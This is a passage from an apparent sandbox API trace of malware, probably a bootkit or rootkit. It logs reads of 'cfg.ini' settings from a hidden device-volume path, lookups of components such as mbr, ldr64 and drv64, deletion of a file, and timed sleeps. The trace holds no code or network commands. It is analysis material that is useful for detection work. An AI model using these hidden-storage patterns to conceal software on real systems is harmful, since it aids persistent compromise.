KeLeaveCriticalRegion () [0125.375] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.375] ReleaseMutex (hMutex=0xf0) returned 1 [0125.375] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.375] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.375] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.375] KeEnterCriticalRegion () [0125.375] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.375] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.375] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.375] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.375] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.375] IdePortDispatch () returned 0x103 [0125.376] KeWaitForMutexObject () returned 0x0 [0125.376] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.376] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.376] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.376] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.376] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.376] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7d00 [0125.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.376] KeLeaveCriticalRegion () [0125.376] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.376] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.376] KeEnterCriticalRegion () [0125.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.376] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.376] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.376] KeLeaveCriticalRegion () [0125.376] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.376] KeEnterCriticalRegion () [0125.376] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.376] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.376] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.376] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.376] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.376] IdePortDispatch () returned 0x103 [0125.377] KeWaitForMutexObject () returned 0x0 [0125.377] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.377] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.377] KeLeaveCriticalRegion () [0125.377] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.377] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.377] KeEnterCriticalRegion () [0125.377] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.377] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c40000 [0125.377] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.377] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.377] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.377] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.377] IdePortDispatch () returned 0x103 [0125.377] KeWaitForMutexObject () returned 0x0 [0125.377] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.377] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.377] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.377] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.377] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.377] IdePortDispatch () returned 0x103 [0125.378] KeWaitForMutexObject () returned 0x0 [0125.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.378] KeLeaveCriticalRegion () [0125.378] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.378] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.378] KeEnterCriticalRegion () [0125.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.378] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.378] KeLeaveCriticalRegion () [0125.378] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.378] KeEnterCriticalRegion () [0125.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.378] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.378] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf7e70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.378] KeLeaveCriticalRegion () [0125.378] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.378] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.378] KeEnterCriticalRegion () [0125.378] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.378] ExFreePoolWithTag (P=0xfffffa8003bf7d00, Tag=0x0) [0125.378] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.378] KeLeaveCriticalRegion () [0125.378] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.378] ReleaseMutex (hMutex=0xf0) returned 1 [0125.378] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.378] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.379] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.379] KeEnterCriticalRegion () [0125.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.379] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.379] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.379] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.379] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.379] IdePortDispatch () returned 0x103 [0125.379] KeWaitForMutexObject () returned 0x0 [0125.379] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.379] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.379] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.379] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.379] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.379] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7db0 [0125.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.379] KeLeaveCriticalRegion () [0125.379] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.379] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.379] KeEnterCriticalRegion () [0125.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.379] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.379] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.379] KeLeaveCriticalRegion () [0125.379] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.379] KeEnterCriticalRegion () [0125.379] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.379] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.379] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.379] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.379] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.379] IdePortDispatch () returned 0x103 [0125.380] KeWaitForMutexObject () returned 0x0 [0125.380] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.380] KeLeaveCriticalRegion () [0125.380] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.380] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.380] KeEnterCriticalRegion () [0125.380] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.380] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c41000 [0125.380] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.380] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.380] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.380] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.380] IdePortDispatch () returned 0x103 [0125.380] KeWaitForMutexObject () returned 0x0 [0125.380] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.380] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.380] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.380] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.380] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.380] IdePortDispatch () returned 0x103 [0125.380] KeWaitForMutexObject () returned 0x0 [0125.380] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.380] KeLeaveCriticalRegion () [0125.380] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.381] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.381] KeEnterCriticalRegion () [0125.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.381] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.381] KeLeaveCriticalRegion () [0125.381] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.381] KeEnterCriticalRegion () [0125.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.381] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.381] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.381] KeLeaveCriticalRegion () [0125.381] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.381] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.381] KeEnterCriticalRegion () [0125.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.381] ExFreePoolWithTag (P=0xfffffa8003bf7db0, Tag=0x0) [0125.381] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.381] KeLeaveCriticalRegion () [0125.381] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.381] ReleaseMutex (hMutex=0xf0) returned 1 [0125.381] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.381] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.381] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.381] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.381] KeEnterCriticalRegion () [0125.381] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.381] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.381] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.382] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.382] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.382] IdePortDispatch () returned 0x103 [0125.382] KeWaitForMutexObject () returned 0x0 [0125.382] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.382] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.382] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.382] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.382] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.382] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.382] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.382] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.382] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.382] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.382] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.382] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.382] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.382] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.382] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.382] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.382] KeLeaveCriticalRegion () [0125.382] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.382] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.382] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.382] KeEnterCriticalRegion () [0125.382] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.382] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.382] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.382] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.382] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.382] IdePortDispatch () returned 0x103 [0125.382] KeWaitForMutexObject () returned 0x0 [0125.383] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.383] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.383] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.383] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.383] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.383] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.383] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.383] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.383] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.383] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.383] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.383] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.383] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.383] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.383] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.383] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.383] KeLeaveCriticalRegion () [0125.383] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.383] ReleaseMutex (hMutex=0x100) returned 1 [0125.383] Sleep (dwMilliseconds=0x2bf20) [0125.389] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6def8410, dwHighDateTime=0x1d24fa4)) [0125.389] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.389] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.389] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.389] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.389] KeEnterCriticalRegion () [0125.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.389] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.389] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.389] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.389] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.389] IdePortDispatch () returned 0x103 [0125.390] KeWaitForMutexObject () returned 0x0 [0125.390] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.390] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.390] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.390] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.390] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.390] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7520 [0125.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.390] KeLeaveCriticalRegion () [0125.390] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.390] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.390] KeEnterCriticalRegion () [0125.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.390] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.390] KeLeaveCriticalRegion () [0125.390] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.390] KeEnterCriticalRegion () [0125.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.390] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.390] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.390] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.390] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.390] IdePortDispatch () returned 0x103 [0125.390] KeWaitForMutexObject () returned 0x0 [0125.390] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.390] KeLeaveCriticalRegion () [0125.390] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.390] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.390] KeEnterCriticalRegion () [0125.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.390] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c44000 [0125.390] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.390] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 